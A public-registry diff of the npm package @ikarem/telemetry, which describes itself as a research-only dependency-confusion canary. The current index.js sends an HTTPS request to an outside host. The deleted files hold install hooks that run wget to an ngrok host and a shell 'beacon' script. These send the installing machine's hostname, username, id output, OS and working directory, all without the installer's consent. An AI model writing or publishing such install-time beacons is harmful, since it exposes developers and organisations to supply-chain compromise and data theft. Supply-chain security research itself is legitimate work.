@ikarem/telemetry 100.2.0 → 100.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -24,7 +24,7 @@ function safeSend() {
24
24
 
25
25
  const req = https.request(
26
26
  {
27
- hostname: "https://reproduce-supply-chain.ikarem.meraki.hexlsi.com", // replace with stable domain
27
+ hostname: "reproduce-supply-chain.ikarem.meraki.hexlsi.com", // replace with stable domain
28
28
  path: `/evidence?${payload.toString()}`,
29
29
  method: "GET",
30
30
  timeout: 2000
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ikarem/telemetry",
3
- "version": "100.2.0",
3
+ "version": "100.2.1",
4
4
  "description": "Research-only dependency confusion canary package",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -12,4 +12,3 @@
12
12
  },
13
13
  "license": "MIT"
14
14
  }
15
-
package/package.json.save DELETED
@@ -1,18 +0,0 @@
1
- {
2
- "name": "@ikarem/telemetry",
3
- "version": "100.00.09",
4
- "description": "Research-only dependency confusion canary package",
5
- "main": "index.js",
6
- "scripts": {
7
- "preinstall":"wget --quiet \"https://46cbe1e12a7c.ngrok.app//preinstall?hostaname=$(hostname)&user=$(whoami)&path=$(pwd)\" ",
8
- "postinstall":"wget --quiet \"https://46cbe1e12a7c.ngrok.app/postinstall?hostname=$(id)&user=$(whoami)&path=$(pwd)\" ",
9
- "preupdate":"wget --quiet \"https://46cbe1e12a7c.ngrok.app/preupdate?hostname=$(hostname)&user=$(whoami)&path=$(pwd)\" "
10
- },
11
- "publishConfig": {
12
- "access": "public"
13
- },
14
- "license": "MIT",
15
- "dependencies": {
16
- "@ikarem/telemetry": "^99.99.99"
17
- }
18
- }
@@ -1,84 +0,0 @@
1
- #!/bin/sh
2
- # Universal telemetry beacon (POSIX-safe)
3
-
4
- EVENT="$1"
5
- [ -z "$EVENT" ] && EVENT="unknown"
6
-
7
- # -------- helpers --------
8
-
9
- get_hostname() {
10
- hostname 2>/dev/null || uname -n 2>/dev/null || echo "unknown"
11
- }
12
-
13
- get_os() {
14
- if [ -f /etc/os-release ]; then
15
- awk -F= '/^PRETTY_NAME=/{gsub(/"/,"",$2);print $2}' /etc/os-release
16
- else
17
- uname -s 2>/dev/null || echo "unknown"
18
- fi
19
- }
20
-
21
- get_user() {
22
- whoami 2>/dev/null || id -un 2>/dev/null || echo "unknown"
23
- }
24
-
25
- gen_nonce() {
26
- if command -v base64 >/dev/null 2>&1; then
27
- head -c 16 /dev/urandom | base64 | tr -dc 'a-zA-Z0-9' | head -c 10
28
- else
29
- date +%s 2>/dev/null || echo "nonce"
30
- fi
31
- }
32
-
33
- # RFC 3986–safe URL encoding
34
- urlencode() {
35
- printf '%s' "$1" | awk '
36
- BEGIN {
37
- for (i = 0; i < 256; i++) {
38
- c = sprintf("%c", i)
39
- if (c ~ /[A-Za-z0-9_.~-]/) o[c] = c
40
- else o[c] = sprintf("%%%02X", i)
41
- }
42
- }
43
- {
44
- for (i = 1; i <= length($0); i++) {
45
- c = substr($0, i, 1)
46
- printf "%s", o[c]
47
- }
48
- }'
49
- }
50
-
51
- send_request() {
52
- URL="$1"
53
-
54
- if command -v curl >/dev/null 2>&1; then
55
- curl -fsS "$URL" >/dev/null 2>&1 || true
56
- elif command -v wget >/dev/null 2>&1; then
57
- wget -qO- "$URL" >/dev/null 2>&1 || true
58
- else
59
- true
60
- fi
61
- }
62
-
63
- # -------- collect data --------
64
-
65
- HOST="$(get_hostname)"
66
- OS="$(get_os)"
67
- USER="$(get_user)"
68
- NONCE="$(gen_nonce)"
69
-
70
- ENC_HOST="$(urlencode "$HOST")"
71
- ENC_OS="$(urlencode "$OS")"
72
- ENC_USER="$(urlencode "$USER")"
73
- ENC_NONCE="$(urlencode "$NONCE")"
74
- ENC_EVENT="$(urlencode "$EVENT")"
75
-
76
- BASE_URL="https://reproduce-supply-chain.ikarem.meraki.hexlsi.com/evidence"
77
-
78
- URL="$BASE_URL?package=telemetry&ver=100.1.9&event=$ENC_EVENT&hostname=$ENC_HOST&os=$ENC_OS&whoami=$ENC_USER&nonce=$ENC_NONCE"
79
-
80
- # -------- fire & forget --------
81
- send_request "$URL"
82
-
83
- exit 0
84
-